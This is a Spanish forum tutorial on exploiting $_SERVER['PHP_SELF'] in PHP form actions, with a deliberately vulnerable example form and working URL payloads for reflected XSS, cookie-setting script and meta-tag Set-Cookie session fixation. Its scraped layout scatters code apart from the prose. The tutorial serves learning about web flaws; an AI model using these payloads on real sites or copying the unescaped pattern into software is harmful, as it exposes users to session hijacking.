b3n0x
Bovino maduro
- Desde
- 11 Jul 2008
- Mensajes
- 470
- Tema Autor
- #1
Hoy vamos a ver un tipo de vulnerabilidad que da entrada a XSS y a Session Making que se da muchas veces pero que debido a que no ha sido vista en profundidad, suele pasar algo desapercibida. Esto ocurre cuando en PHP hacemos la llamada al propio script. Hasta hace poco, se hacía con la variable $PHP_SELF, pero a día de hoy ya no se utiliza y se hace desde la variable global $_SERVER['PHP_SELF']. Veamos un ejemplo de aplicación vulnerable.
Inyectando nuestro código
roduciendo un XSSLa llamada al propio nombre del script nos da cabida a inventarnos un documento que produzca un XSS. ¡Pero no vayáis tan rápido! Segúramente ya habréis intentado hacer un www.pagina.com/formulario.php
Te mostrará error ya que intentará buscar un archivo que no existe y no actuará sobre la propia página, por lo que tenemos que colocar una barra "/" para romper la llamada al script e inyectar nuestro código. Lo primero que haremos será ver el código fuente y ver como podemos romper las comillas para que se produzca la inyección.
Tenemos lo siguiente:
(por ejemplo):
Quedando así:
O también podríamos crear una cookie para un ataque de session fixation de la siguiente manera:
Meta-tag injection
Es posible que nos encontremos con una página vulnerable a session fixation y queramos meter una cookie en el navegador de un usuario. Para ello inyectaremos lo siguiente:
Por supuesto habrá que cerrar correctamente las etiquetas y las comillas. La inyección por url (mejorada) quedaría así:
Fuente
PHP:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
<title>Ejemplo de aplicación vulnerable por $_SERVER['PHP_SELF']</title>
<body>
<center>
<h3>¿Descontento con nuestra web? Rellene nuestro formulario!</h3>
<form action="<?=$_SERVER['PHP_SELF']?>" method=POST>Nombre:
<input type=text name=nombre>Apellidos:<input type=text name=apellidos>Queja:<textarea name='body' rows='10' cols='115'></textarea></center></body></html><?php//código que procesa la aplicación?>
Inyectando nuestro código

Código:
<script>alert(/XSS/);</script>.
Tenemos lo siguiente:
Código:
<form action="/formulario.php" method=POST>
Lo correcto será introducir una barra, unas comillas dobles, un cierre de etiqueta, nuestro XSS, una apertura de etiqueta y un form trash=" .
(por ejemplo):
Código:
<form action="/formulario.php/"><script>alert(/XSS/);</script><form trash="" method=POST>
Código:
www.pagina.com/formulario.php/"><script>alert(/XSS/);</script><form trash="
Código:
<script>document.cookie="sessionid=1234; domain=.pagina.com”;</script>
Es posible que nos encontremos con una página vulnerable a session fixation y queramos meter una cookie en el navegador de un usuario. Para ello inyectaremos lo siguiente:
Código:
<meta http-equiv=Set-Cookie content='sessionid=1234'>
Código:
www.pagina.com/formulario.php/">
<meta http-equiv=Set-Cookie content='sessionid=1234; Expires=Tuesday,15-Nov-2012 00:00:00 GMT”; domain=.pagina.com'>><form trash=".
Fuente